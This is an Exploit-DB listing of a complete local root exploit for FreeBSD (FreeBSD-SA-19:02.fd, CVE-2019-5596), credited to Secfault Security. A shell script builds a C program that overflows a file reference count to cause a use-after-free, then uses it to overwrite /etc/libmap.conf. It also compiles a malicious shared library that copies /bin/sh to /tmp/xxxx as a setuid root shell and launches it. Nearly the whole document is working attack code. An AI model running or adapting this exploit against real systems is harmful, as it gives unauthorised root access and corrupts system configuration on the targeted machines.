FreeBSD-SA-19:02.fd - Privilege Escalation

EDB-ID:

47829




Platform:

FreeBSD

Date:

2019-12-30


# Exploit: FreeBSD-SA-19:02.fd - Privilege Escalation
# Date: 2019-12-30
# Author: Karsten König of Secfault Security
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
# CVE: CVE-2019-5596
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper

#!/bin/sh

echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"

umask 0000

if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
fi

cp /etc/libmap.conf ./

cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>

#define N_FDS 0xfe
#define N_OPEN 0x2

#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25

#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"

#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"

#define CORE_0 0
#define CORE_1 1

#define MAX_TRIES 500

struct thread_data {
    int fd;
    int fd2;
};

pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;

int send_recv(int fd, int sv[2], int n_fds) {
    int ret, i;
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmh;
    char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
    int *fds;    char buf[1];

    iov.iov_base = "a";
    iov.iov_len = 1;

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
    msg.msg_flags = 0;

    cmh = CMSG_FIRSTHDR(&msg);
    cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
    cmh->cmsg_level = SOL_SOCKET;
    cmh->cmsg_type = SCM_RIGHTS;
    fds = (int *)CMSG_DATA(cmsg);
    for (i = 0; i < n_fds; i++) {
	fds[i] = fd;
    }

    ret = sendmsg(sv[0], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    iov.iov_base = buf;
    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmh;
    msg.msg_controllen = CMSG_SPACE(0);
    msg.msg_flags = 0;

    ret = recvmsg(sv[1], &msg, 0);
    if (ret == -1) {
	return 1;
    }

    return 0;
}

int open_tmp(char *path)
{
    int fd;
    char *real_path;

    if (path != NULL) {
	real_path = malloc(strlen(path) + 1);
	strcpy(real_path, path);
    }
    else {
	real_path = malloc(strlen(DEFAULT_PATH) + 1);
	strcpy(real_path, DEFAULT_PATH);
    }

    if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
	perror("[!] open");
	exit(1);
    }

    fchmod(fd, 0700);
    
    return fd;
}

void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}

int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    if (bind(server_socket, 
	     (struct sockaddr *) remote, 
	     sizeof(struct sockaddr_un)) != 0) {
	perror("[!] bind");
	exit(1);
    }

    return server_socket;
}

int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    return client_socket;
}

// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
    send_recv(fd, sv, 0xfe);
}

int stick_thread_to_core(int core) {
    /* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
    /* if (core_id < 0 || core_id >= num_cores) */
    /* 	return EINVAL; */    
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();    
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}

void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;

    if (stick_thread_to_core(CORE_0) != 0) {
	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;

    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);
    
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);

    usleep(40);
    
    // Close to fds to trigger uaf
    //
    // This assumes that fget_write() in kern_writev()
    // was already successful!
    //
    // Otherwise kernel panic is triggered
    //
    // refcount = 2 (primitive+fget_write)
    close(fd);
    close(fd2);
    // refcount = 0 => free
    fd = open(ATTACK_PATH, O_RDONLY);
    // refcount = 1

    printf("[+] trigger_uaf: Opened read-only file, now hope\n");	
    printf("[+] trigger_uaf: Exit\n");
    
    pthread_exit(NULL);
}

void *hammer(void *arg) {
    int i, j, k, client_socket, ret;
    char buf[FILE_SIZE], sync_buf[3];
    FILE *fd[N_FILES];
    struct sockaddr_un remote;

    prepare_domain_socket(&remote, SERVER_PATH);
    client_socket = connect_domain_socket_client();
    strncpy(sync_buf, "1\n", 3);
    
    for (i = 0; i < N_FILES; i++) {
	unlink(HAMMER_PATH);
	if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
	    perror("[!] fopen");
	    exit(1);
	}
    }
    
    for (i = 0; i < FILE_SIZE; i++) {
    	buf[i] = 'a';
    }

    pthread_mutex_lock(&hammer_mtx);

    // Sometimes sendto() fails because
    // no free buffer is available
    for (;;) {
	if (sendto(client_socket,
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &remote,
		   sizeof(remote)) != -1) {
	    break;
	}
    }
    
    pthread_cond_wait(&hammer_cond, &hammer_mtx);
    pthread_mutex_unlock(&hammer_mtx);
    
    for (i = 0; i < N; i++) {
	for (k = 0; k < N_FILES; k++) {
	    rewind(fd[k]);   
	}
	for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
	    for (k = 0; k < N_FILES; k++) {
		if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
		    perror("[!] fwrite");
		    exit(1);
		}
	    }
	    fflush(NULL);
	}
    }
    
    pthread_exit(NULL);
}

// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
    int hidirtybuffers, numdirtybuffers;
    size_t len;

    len = sizeof(int);
    
    if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
	perror("[!] sysctlbyname hidirtybuffers");
	exit(1);
    };
    printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);

    while(1) {
	sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
	if (numdirtybuffers >= hidirtybuffers) {
	    pthread_cond_signal(&write_cond);
	    pthread_cond_signal(&trigger_cond);		    
	    printf("[+] monitor: Reached hidirtybuffers watermark\n");
	    break;
	}
    }
    
    pthread_exit(NULL);
}

int check_write(int fd) {
    char buf[256];
    int nbytes;
    struct stat st;

    printf("[+] check_write\n");
    stat(DEFAULT_PATH, &st);
    printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);

    stat(ATTACK_PATH, &st);
    printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
        
    nbytes = read(fd, buf, strlen(HOOK_LIB));
    printf("[+] Read bytes: %d\n", nbytes);
    if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
	return 1;
    }
    else if (nbytes < 0) {
	perror("[!] check_write:read");
	printf("[!] check_write:Cannot check if it worked!");
	return 1;
    }
    
    return 0;
}

void *write_to_file(void *thread_args) {
    int fd, fd2, nbytes;
    int *fd_ptr;
    char buf[256];
    struct thread_data *thread_data;

    if (stick_thread_to_core(CORE_1) != 0) {
	perror("[!] write_to_file: Could not stick thread to core");
    }
    
    fd_ptr = (int *) malloc(sizeof(int));
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = open(ATTACK_PATH, O_RDONLY);

    printf("[+] write_to_file: Wait for signal from monitor\n");	
    pthread_mutex_lock(&write_mtx);
    pthread_cond_wait(&write_cond, &write_mtx);

    snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
    nbytes = write(fd, buf, strlen(buf));

    // Reopen directly after write to prevent panic later
    //
    // After the write f_count == 0 because after trigger_uaf()
    // opened the read-only file, f_count == 1 and write()
    // calls fdrop() at the end
    //
    // => f_count == 0
    //
    // A direct open hopefully assigns the now again free file
    // object to fd so that we can prevent the panic with our
    // increment primitive.
    if ((fd = open_tmp(NULL)) == -1)
	perror("[!] write_to_file: open_tmp");
    *fd_ptr = fd;
    
    if (nbytes < 0) {
	perror("[!] [!] write_to_file:write");
    } else if (nbytes > 0) {
	printf("[+] write_to_file: We have written something...\n");
	if (check_write(fd2) > 0)
	    printf("[+] write_to_file: It (probably) worked!\n");
	else
	    printf("[!] write_to_file: It worked not :(\n");
    }

    printf("[+] write_to_file: Exit\n");
    pthread_exit(fd_ptr);
}

void prepare(int sv[2], int fds[2]) {
    int fd, fd2, i;

    printf("[+] Start UaF preparation\n");
    printf("[+] This can take a while\n");
	
    // Get a single file descriptor to send via the socket
    if ((fd = open_tmp(NULL)) == -1) {
    	perror("[!] open_tmp");
    	exit(1);
    }
    
    if ((fd2 = dup(fd)) == -1) {
	perror("[!] dup");
	exit(1);
    }
    
    // fp->f_count will increment by 0xfe in one iteration
    // doing this 16909320 times will lead to
    // f_count = 16909320 * 0xfe + 2 = 0xfffffff2
    // Note the 2 because of the former call of dup() and
    // the first open().
    //
    // To test our trigger we can send 0xd more fd's what
    // would to an f_count of 0 when fdclose() is called in
    // m_dispose_extcontrolm. fdrop() will reduce f_count to
    // 0xffffffff = -1 and ultimately panic when _fdrop() is
    // called because the latter asserts that f_count is 0.
    // _fdrop is called in the first place because
    // refcount_release() only checks that f_count is less or
    // equal 1 to recognize the last reference.
    //
    // If we want to trigger the free without panic, we have
    // to send 0xf fds and close an own what will lead to an
    // fdrop() call without panic as f_count is 1 and reduced
    // to 0 by close(). The unclosed descriptor references now
    // a free 'struct file'.
    for (i = 0; i < 16909320; i++) {
    	if (i % 1690930 == 0) {
    	    printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
    	}
	
        if (send_recv(fd, sv, N_FDS)) {
    	    perror("[!] prepare:send_recv");
    	    exit(1);
    	}
    }
    if (send_recv(fd, sv, 0xf)) {
    	perror("[!] prepare:send_recv");
    	exit(1);
    }
    
    fds[0] = fd;
    fds[1] = fd2;

    printf("[+] Finished UaF preparation\n");
}

void read_thread_status(int server_socket) {
    int bytes_rec, count;
    struct sockaddr_un client;
    socklen_t len;
    char buf[256];
    struct timeval tv;
    
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    setsockopt(server_socket,
	       SOL_SOCKET, SO_RCVTIMEO,
	       (const char*)&tv, sizeof tv);
    
    for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
	if (count % 100 == 0) {
	    printf("[+] Hammer threads ready: %d\n", count);
	}
	bzero(&client, sizeof(struct sockaddr_un));
	bzero(buf, 256);
	
	len = sizeof(struct sockaddr_un);
	if ((bytes_rec = recvfrom(server_socket,
				  buf, 256, 0,
				  (struct sockaddr *) &client,
				  &len)) == -1) {
	    perror("[!] recvfrom");
	    break;
	}
    }

    if (count != NUM_FORKS * NUM_THREADS) {
	printf("[!] Could not create all hammer threads, will try though!\n");
    }
}

void fire() {
    int i, j, fd, fd2, bytes_rec, server_socket;
    int sv[2], fds[2], hammer_socket[NUM_FORKS];
    int *fd_ptr;
    char socket_path[256], sync_buf[3], buf[256];
    pthread_t write_thread, trigger_thread, monitor_thread;
    pthread_t hammer_threads[NUM_THREADS];
    pid_t pids[NUM_FORKS];
    socklen_t len;
    struct thread_data thread_data;
    struct sockaddr_un server, client;
    struct sockaddr_un hammer_socket_addr[NUM_FORKS];

    // Socket for receiving thread status
    unlink(SERVER_PATH);
    prepare_domain_socket(&server, SERVER_PATH);
    server_socket = bind_domain_socket(&server);

    // Sockets to receive hammer signal
    for (i = 0; i < NUM_FORKS; i++) {
	snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
	unlink(socket_path);
	prepare_domain_socket(&hammer_socket_addr[i], socket_path);
	hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
    }

    strncpy(sync_buf, "1\n", 3);
    len = sizeof(struct sockaddr_un);
    
    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
	perror("[!] socketpair");
	exit(1);
    }
        
    pthread_mutex_init(&write_mtx, NULL);
    pthread_mutex_init(&trigger_mtx, NULL);
    pthread_cond_init(&write_cond, NULL);
    pthread_cond_init(&trigger_cond, NULL);

    pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);

    prepare(sv, fds);
    fd = fds[0];
    fd2 = fds[1];

    thread_data.fd = fd;
    thread_data.fd2 = fd2;
    pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
    pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
    
    for (j = 0; j < NUM_FORKS; j++) {
	if ((pids[j] = fork()) < 0) {
	    perror("[!] fork");
	    abort();
	}
	else if (pids[j] == 0) {
	    pthread_mutex_init(&hammer_mtx, NULL);
	    pthread_cond_init(&hammer_cond, NULL);
	    
	    close(fd);
	    close(fd2);

	    /* Prevent that a file stream in the hammer threads
             * gets the file descriptor of fd for debugging purposes
	     */
	    if ((fd = open_tmp("/tmp/dummy")) == -1)
		perror("[!] dummy");
	    if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
		perror("[!] dummy2");
	    printf("[+] Fork %d fd: %d\n", j, fd);
	    printf("[+] Fork %d fd2: %d\n", j, fd2);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_create(&hammer_threads[i], NULL, hammer, NULL);
	    }

	    printf("[+] Fork %d created all threads\n", j);
	    
	    if ((bytes_rec = recvfrom(hammer_socket[j],
				      buf, 256, 0,
				      (struct sockaddr *) &client,
				      &len)) == -1) {
		perror("[!] accept");
		abort();
	    }

	    pthread_cond_broadcast(&hammer_cond);
	    
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_join(hammer_threads[i], NULL);
	    }

	    pthread_cond_destroy(&hammer_cond);
	    pthread_mutex_destroy(&hammer_mtx);

	    exit(0);
	} else {
	    printf("[+] Created child with PID %d\n", pids[j]);	    
	}
    }    

    read_thread_status(server_socket);
    printf("[+] Send signal to Start Hammering\n");
    for (i = 0; i < NUM_FORKS; i++) {
	if (sendto(hammer_socket[i],
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &hammer_socket_addr[i],
		   sizeof(hammer_socket_addr[0])) == -1) {
	    perror("[!] sendto");
	    exit(1);
	}
    }
        
    pthread_join(monitor_thread, NULL);
    for (i = 0; i < NUM_FORKS; i++) {
	kill(pids[i], SIGKILL);
	printf("[+] Killed %d\n", pids[i]);
    }

    pthread_join(write_thread, (void **) &fd_ptr);    
    pthread_join(trigger_thread, NULL);
    
    pthread_mutex_destroy(&write_mtx);
    pthread_mutex_destroy(&trigger_mtx);
    pthread_cond_destroy(&write_cond);
    pthread_cond_destroy(&trigger_cond);

    printf("[+] Returned fd: %d\n", *fd_ptr);
    prevent_panic(sv, *fd_ptr);

    // fd was acquired from write_to_file
    // which allocs a pointer for it
    free(fd_ptr);
}

int main(int argc, char **argv)
{
    setbuf(stdout, NULL);
    
    fire();

    return 0;
}

EOF

cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c

cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid())
    execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}

EOF

cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su

if [ -f /tmp/xxxx ]; then
    echo "[+] Enjoy!"
    echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
    /tmp/xxxx
else
    echo "[!] FAIL"
fi